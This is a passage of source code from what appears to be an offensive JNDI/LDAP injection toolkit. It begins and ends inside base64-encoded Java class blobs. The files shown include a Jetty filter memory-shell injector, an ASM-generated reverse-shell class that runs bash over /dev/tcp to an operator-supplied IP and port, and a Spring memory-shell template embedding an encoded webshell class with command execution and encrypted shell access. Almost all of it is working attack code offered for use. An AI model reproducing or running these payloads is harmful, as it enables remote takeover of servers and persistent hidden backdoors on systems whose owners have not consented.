qYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY="; byte[] bytes = base64Decoder.decodeBuffer(codeClass); Method method = null; Class clz = cl.getClass(); while(method == null && clz != Object.class ){ try{ method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); }catch(NoSuchMethodException ex){ clz = clz.getSuperclass(); } } method.setAccessible(true); clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); } holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, clazz.newInstance()); handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder); clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping"); Object filterMapping = clazz.newInstance(); Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass()); method.setAccessible(true); method.invoke(filterMapping, holder); filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}}); filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST)); // prependFilterMapping 会自动把 filter 加到最前面 handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping); } }catch(Exception e){ //pass } } }catch(Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ================================================ FILE: src/main/java/com/feihong/ldap/template/MyClassLoader.java ================================================ package com.feihong.ldap.template; public class MyClassLoader extends ClassLoader { MyClassLoader(ClassLoader c){super(c);} public static Class defineClass(byte[] bytes, ClassLoader classLoader){ return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length); } } ================================================ FILE: src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java ================================================ package com.feihong.ldap.template; import com.feihong.ldap.utils.Cache; import com.feihong.ldap.utils.Util; import org.objectweb.asm.*; import java.io.FileOutputStream; import static org.objectweb.asm.Opcodes.*; public class ReverseShellTemplate implements Template { private String className; private byte[] bytes; private String ip; private int port; public ReverseShellTemplate(String ip, String port){ this(ip, Integer.parseInt(port)); } public ReverseShellTemplate(String ip, int port){ this.ip = ip; this.port = port; this.className = "Exploit" + Util.getRandomString(); generate(); } public ReverseShellTemplate(String ip, String port, String className){ this(ip, Integer.parseInt(port)); this.className = className; generate(); } @Override public String getClassName(){ return className; } @Override public byte[] getBytes() { return bytes; } @Override public void cache() { Cache.set(className, bytes); } @Override public void generate() { ClassWriter cw = new ClassWriter(0); FieldVisitor fv; MethodVisitor mv; AnnotationVisitor av0; cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); { fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null); fv.visitEnd(); } { fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null); fv.visitEnd(); } { mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); mv.visitCode(); Label l0 = new Label(); Label l1 = new Label(); Label l2 = new Label(); mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception"); Label l3 = new Label(); mv.visitLabel(l3); mv.visitLineNumber(12, l3); mv.visitVarInsn(ALOAD, 0); mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); Label l4 = new Label(); mv.visitLabel(l4); mv.visitLineNumber(13, l4); mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); mv.visitLdcInsn("/"); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); Label l5 = new Label(); mv.visitJumpInsn(IFEQ, l5); Label l6 = new Label(); mv.visitLabel(l6); mv.visitLineNumber(14, l6); mv.visitInsn(ICONST_3); mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); mv.visitInsn(DUP); mv.visitInsn(ICONST_0); mv.visitLdcInsn("/bin/bash"); mv.visitInsn(AASTORE); mv.visitInsn(DUP); mv.visitInsn(ICONST_1); mv.visitLdcInsn("-c"); mv.visitInsn(AASTORE); mv.visitInsn(DUP); mv.visitInsn(ICONST_2); mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"); mv.visitInsn(AASTORE); mv.visitVarInsn(ASTORE, 1); mv.visitLabel(l0); mv.visitLineNumber(16, l0); mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); mv.visitVarInsn(ALOAD, 1); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); mv.visitInsn(POP); mv.visitLabel(l1); mv.visitLineNumber(19, l1); mv.visitJumpInsn(GOTO, l5); mv.visitLabel(l2); mv.visitLineNumber(17, l2); mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"}); mv.visitVarInsn(ASTORE, 2); Label l7 = new Label(); mv.visitLabel(l7); mv.visitLineNumber(18, l7); mv.visitVarInsn(ALOAD, 2); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); mv.visitLabel(l5); mv.visitLineNumber(22, l5); mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null); mv.visitInsn(RETURN); Label l8 = new Label(); mv.visitLabel(l8); mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2); mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1); mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0); mv.visitMaxs(4, 3); mv.visitEnd(); } { mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); mv.visitCode(); Label l0 = new Label(); mv.visitLabel(l0); mv.visitLineNumber(27, l0); mv.visitInsn(RETURN); Label l1 = new Label(); mv.visitLabel(l1); mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2); mv.visitMaxs(0, 3); mv.visitEnd(); } { mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); mv.visitCode(); Label l0 = new Label(); mv.visitLabel(l0); mv.visitLineNumber(32, l0); mv.visitInsn(RETURN); Label l1 = new Label(); mv.visitLabel(l1); mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2); mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3); mv.visitMaxs(0, 4); mv.visitEnd(); } cw.visitEnd(); bytes = cw.toByteArray(); } } ================================================ FILE: src/main/java/com/feihong/ldap/template/SpringMemshellTemplate.java ================================================ package com.feihong.ldap.template; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.ContextLoader; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.support.XmlWebApplicationContext; import sun.misc.BASE64Decoder; import java.lang.reflect.Method; import java.util.Set; public class SpringMemshellTemplate extends AbstractTranslet { public SpringMemshellTemplate(){ System.out.println("[+] Add Dynamic Controller"); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); Class clazz = null; try{ clazz = classLoader.loadClass("com.feihong.ldap.template.DynamicFilterTemplate"); }catch(ClassNotFoundException e){ try{ BASE64Decoder base64Decoder = new BASE64Decoder(); String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGA